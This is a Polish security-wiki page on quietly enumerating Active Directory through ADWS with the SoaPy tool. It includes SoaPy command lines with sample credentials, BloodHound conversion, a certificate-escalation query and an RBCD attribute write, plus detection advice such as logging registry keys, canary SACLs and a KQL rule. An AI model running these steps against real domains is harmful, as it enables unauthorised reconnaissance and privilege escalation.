107 lines
5.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Enumeracja i cicha kolekcja Active Directory Web Services (ADWS)
{{#include ../../banners/hacktricks-training.md}}
## Czym jest ADWS?
Active Directory Web Services (ADWS) jest **włączone domyślnie na każdym kontrolerze domeny od Windows Server 2008 R2** i nasłuchuje na TCP **9389**. Mimo nazwy, **nie jest zaangażowane HTTP**. Zamiast tego, usługa udostępnia dane w stylu LDAP przez zestaw własnych protokołów ramkowych .NET:
* MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
Ponieważ ruch jest enkapsulowany w tych binarnych ramach SOAP i podróżuje przez rzadko używany port, **enumeracja przez ADWS jest znacznie mniej prawdopodobna do inspekcji, filtrowania lub podpisywania niż klasyczny ruch LDAP/389 i 636**. Dla operatorów oznacza to:
* Cichsze rozpoznanie zespoły niebieskie często koncentrują się na zapytaniach LDAP.
* Wolność zbierania danych z **nie-Windowsowych hostów (Linux, macOS)** przez tunelowanie 9389/TCP przez proxy SOCKS.
* Te same dane, które można uzyskać przez LDAP (użytkownicy, grupy, ACL, schemat itp.) oraz możliwość wykonywania **zapisów** (np. `msDs-AllowedToActOnBehalfOfOtherIdentity` dla **RBCD**).
> UWAGA: ADWS jest również używane przez wiele narzędzi GUI/PowerShell RSAT, więc ruch może się mieszać z legalną aktywnością administratora.
## SoaPy Nattywny klient Python
[SoaPy](https://github.com/logangoins/soapy) jest **pełną re-implementacją stosu protokołów ADWS w czystym Pythonie**. Tworzy ramki NBFX/NBFSE/NNS/NMF bajt po bajcie, umożliwiając zbieranie danych z systemów podobnych do Unix bez dotykania środowiska uruchomieniowego .NET.
### Kluczowe cechy
* Obsługuje **proxy przez SOCKS** (przydatne z implantami C2).
* Szczegółowe filtry wyszukiwania identyczne do LDAP `-q '(objectClass=user)'`.
* Opcjonalne operacje **zapisów** (`--set` / `--delete`).
* **Tryb wyjścia BOFHound** do bezpośredniego wczytywania do BloodHound.
* Flaga `--parse` do upiększania znaczników czasowych / `userAccountControl`, gdy wymagana jest czytelność dla ludzi.
### Instalacja (host operatora)
```bash
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
```
## Stealth AD Collection Workflow
Poniższy workflow pokazuje, jak enumerować **obiekty domeny i ADCS** przez ADWS, konwertować je na JSON BloodHound i szukać ścieżek ataku opartych na certyfikatach wszystko z systemu Linux:
1. **Tuneluj 9389/TCP** z sieci docelowej do swojego komputera (np. za pomocą Chisel, Meterpreter, SSH dynamic port-forward itp.). Eksportuj `export HTTPS_PROXY=socks5://127.0.0.1:1080` lub użyj `--proxyHost/--proxyPort` SoaPy.
2. **Zbierz obiekt głównej domeny:**
```bash
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-q '(objectClass=domain)' \
| tee data/domain.log
```
3. **Zbierz obiekty związane z ADCS z NC konfiguracji:**
```bash
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
-dn 'CN=Configuration,DC=ludus,DC=domain' \
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
| tee data/adcs.log
```
4. **Konwertuj na BloodHound:**
```bash
bofhound -i data --zip # produces BloodHound.zip
```
5. **Prześlij ZIP** w interfejsie BloodHound i uruchom zapytania cypher, takie jak `MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c`, aby ujawnić ścieżki eskalacji certyfikatów (ESC1, ESC8 itd.).
### Pisanie `msDs-AllowedToActOnBehalfOfOtherIdentity` (RBCD)
```bash
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
```
Połącz to z `s4u2proxy`/`Rubeus /getticket` dla pełnego **Resource-Based Constrained Delegation** łańcucha.
## Wykrywanie i Wzmacnianie
### Szczegółowe logowanie ADDS
Włącz następujące klucze rejestru na kontrolerach domeny, aby ujawnić kosztowne / nieefektywne wyszukiwania pochodzące z ADWS (i LDAP):
```powershell
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD
```
Wydarzenia będą się pojawiać pod **Directory-Service** z pełnym filtrem LDAP, nawet gdy zapytanie dotarło przez ADWS.
### Obiekty SACL Canary
1. Utwórz obiekt zastępczy (np. wyłączony użytkownik `CanaryUser`).
2. Dodaj **Audit** ACE dla głównego _Everyone_, audytowanego na **ReadProperty**.
3. Kiedy atakujący wykonuje `(servicePrincipalName=*)`, `(objectClass=user)` itd., DC emituje **Event 4662**, który zawiera prawdziwy SID użytkownika nawet gdy żądanie jest proxy lub pochodzi z ADWS.
Przykład wstępnie zbudowanej reguły Elastic:
```kql
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"
```
## Podsumowanie narzędzi
| Cel | Narzędzie | Uwagi |
|-----|-----------|-------|
| Enumeracja ADWS | [SoaPy](https://github.com/logangoins/soapy) | Python, SOCKS, odczyt/zapis |
| Wczytywanie BloodHound | [BOFHound](https://github.com/bohops/BOFHound) | Konwertuje logi SoaPy/ldapsearch |
| Kompromitacja certyfikatu | [Certipy](https://github.com/ly4k/Certipy) | Może być proxy przez ten sam SOCKS |
## Odniesienia
* [SpecterOps Make Sure to Use SOAP(y) An Operators Guide to Stealthy AD Collection Using ADWS](https://specterops.io/blog/2025/07/25/make-sure-to-use-soapy-an-operators-guide-to-stealthy-ad-collection-using-adws/)
* [SoaPy GitHub](https://github.com/logangoins/soapy)
* [BOFHound GitHub](https://github.com/bohops/BOFHound)
* [Microsoft MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nbfx/)
{{#include ../../banners/hacktricks-training.md}}